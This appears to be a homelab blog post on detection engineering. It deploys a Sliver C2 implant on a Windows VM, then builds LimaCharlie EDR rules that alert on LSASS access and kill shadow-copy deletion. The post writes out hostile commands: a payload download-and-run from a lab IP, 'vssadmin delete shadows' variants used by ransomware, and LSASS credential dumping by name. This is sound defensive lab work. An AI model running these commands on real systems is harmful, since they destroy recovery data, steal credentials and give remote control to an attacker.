In the previous post I showed how I went about setting up the virtual environment for this homelab. It included a Windows 11 computer (the victim) with Microsoft Defender completely disabled, an Ubuntu Server (the attacker) to deliver a C2 payload and perform suspicious activities on the victim machine. In order to detect these attacks I installed a LimaCharlie sensor on the Windows machine so that I can monitor the telemetry that it tracks. This post will go through the various attacks and detection and response actions that LimaCharlie will take against them.
The first step was to launch the Sliver server and generate the first C2 session payload using the IP of the Linux VM.
I had my new implant called ‘RANDOM_SEASON.exe’ and confirmed its configuration with the ‘implants’ command.
To install this C2 payload I exited the Sliver server, changed to the new directory I created, and created a temporary web server using Python.
I switched back to the Windows VM and opened another administrative PowerShell terminal. To download the C2 payload I used this command.
IWR -Uri http://192.168.200.128/RANDOM_SEASON.exe -Outfile C:\Users\User\Downloads\RANDOM_SEASON.exeWith the C2 payload now on the victim machine I switched back to the SSH session to enable the Sliver HTTP server to catch the callback. I relaunched Sliver and started the HTTP listener using the ‘http’ command.
I ran the following command on the victim machine to execute the C2 payload.
C:\Users\User\Downloads\RANDOM_SEASON.exeThen I noticed that the session had commenced on the Sliver server and used the ‘sessions’ command to verify this and obtain the Session ID.
In order to interact with the C2 session I used the command ‘use’ with the session ID and could then see that I was in fact on the Windows VM and in full control of it with access to sensitive privileges.
Using the ‘netstat’ command I could see the LimaCharlie service executable running as ‘rphcp.exe’, and the Sliver process highlighted in green.
The command ‘ps -T’ allowed me to see the running processes, and it noted the Sysmon process by highlighting it in red, and the Sliver process in green.
Then it was time to return to the LimaCharlie dashboard and start observing these processes with its various features. I chose the sensor that was installed earlier and opened the ‘Processes’ page and could see the C2 implant process currently running.
By hovering over the process I was able to open the ‘Network Connections’ view and see the IP it was coming from.
The Network and File System pages also show the C2 implant and its relevant information.
I’m even able to inspect the hash of the C2 implant by scanning it with VirusTotal.
If it was a common malware sample VirusTotal would have let me know right away, but since I just generated this payload myself, it will not have been detected by VirusTotal before.
I moved on to the Timeline page in LimaCharlie and there I was able to search for my C2 implant by its name and could also filter it by the IP address.
I wanted to run some more suspicious commands and processes to see if they would be picked up by LimaCharlie so I returned to the Sliver server. From earlier I saw that I had access to the ‘SeDebugPrivilege’ which would potentially allow me to try and steal credentials from the system. The following command can be used to dump the lsass.exe process from memory and can be further processed for obtaining the current user’s OS credentials and even a domain admin’s.
The ‘lsass.exe’ is a known sensitive process that is often used by attackers, so I went back to LimaCharlie to see if this was detected. In the ‘Timeline’ page I searched for ‘lsass’ and saw that the telemetry was successfully picked up.
With this information I created a rule that will detect any future attempts to access the credentials by selecting the ‘Create Rule’ option.
In the ‘Detect’ section of the new rule the following syntax will make it so that when any ‘SENSITIVE_PROCESS_ACCESS’ events where the target process ends with ‘lsass.exe’, they will be picked up by LimaCharlie.
In the ‘Respond’ section the following syntax will generate an alert anytime that this process is detected.
I then tested the rule in the ‘Target Event’ tab by selecting the ‘Test Event’ button and saw that it did correctly pick up this event using the information from the event I originally used to craft the rule. I saved the rule as ‘LSASS Accessed’.
To test this new detection rule I ran the same ‘procdump’ command from earlier in the C2 session and returned to the Detections page in LimaCharlie. The detection rule successfully picked up the ‘procdump’ command and generated the alert.
LimaCharlie can also be used to craft rules to take actions in addition to just generating alerts. With this it’s possible to kill entire processes before they are able to cause adverse events on the victim machine.
I tested this out by running a command commonly used in ransomware attacks which deletes the volume shadow copies from a system. This is used in attacks because the volume shadow copies can be used to restore files or an entire file system to a previous state and that would render any ransomware attack practically as a nuisance rather than the big threat that they are.
I returned to the Sliver session on the Linux VM and opened a shell and then ran the command ‘vssadmin delete shadows /all’ to imitate a potential ransomware attack.
Back in the Detections page of LimaCharlie I saw that it did pick up this process.
I went to the Timeline for this event to see the raw data generated from this event detection.
I chose the option again to craft a new detection and response rule using this raw event data. The following syntax in the respond section will now kill the process before it can take place thereby rendering this specific attack inert. I saved the rule as ‘vss_deletion_kill_it’.
I ran the same command again in the shell of the C2 session and then checked if the session was still connected using the command ‘whoami’ and can see that the rule successfully detected the process and killed it and closed the shell.
While the rule was effective in this case it was written in a way that it will only detect the process if it was run by this exact method, which won’t always be the case. To test this out I downloaded and installed a ransomware simulator to see if the rule would pick up the offending actions.
I ran the ransomware simulator and noticed that it used a similar command to the one I used before.
vssadmin delete shadows /for=norealvolume /all /quiet
I checked the Detections page in LimaCharlie and I saw that the process was picked up by their own default installed rules, but not by my custom rule.
In order to adjust my rule, I used syntax that will detect if the process contains certain command line arguments instead of checking for a literal string which it was previously using.
I saved the rule and ran the ransomware simulator again. This time I noticed that the program stopped after running the command for deleting the vssadmin shadows. This was a good sign that the rule in LimaCharlie detected it and killed the process.
Back in the Detections page I confirmed that my rule successfully detected and responded to the process by killing it before it could harm the system.
This project was just a small sample of what is possible with the LimaCharlie’s advanced EDR engine. These rules were for simple examples and in a real environment the rules will take a lot of finetuning to ensure that normal everyday processes are not mistaken for malicious ones.
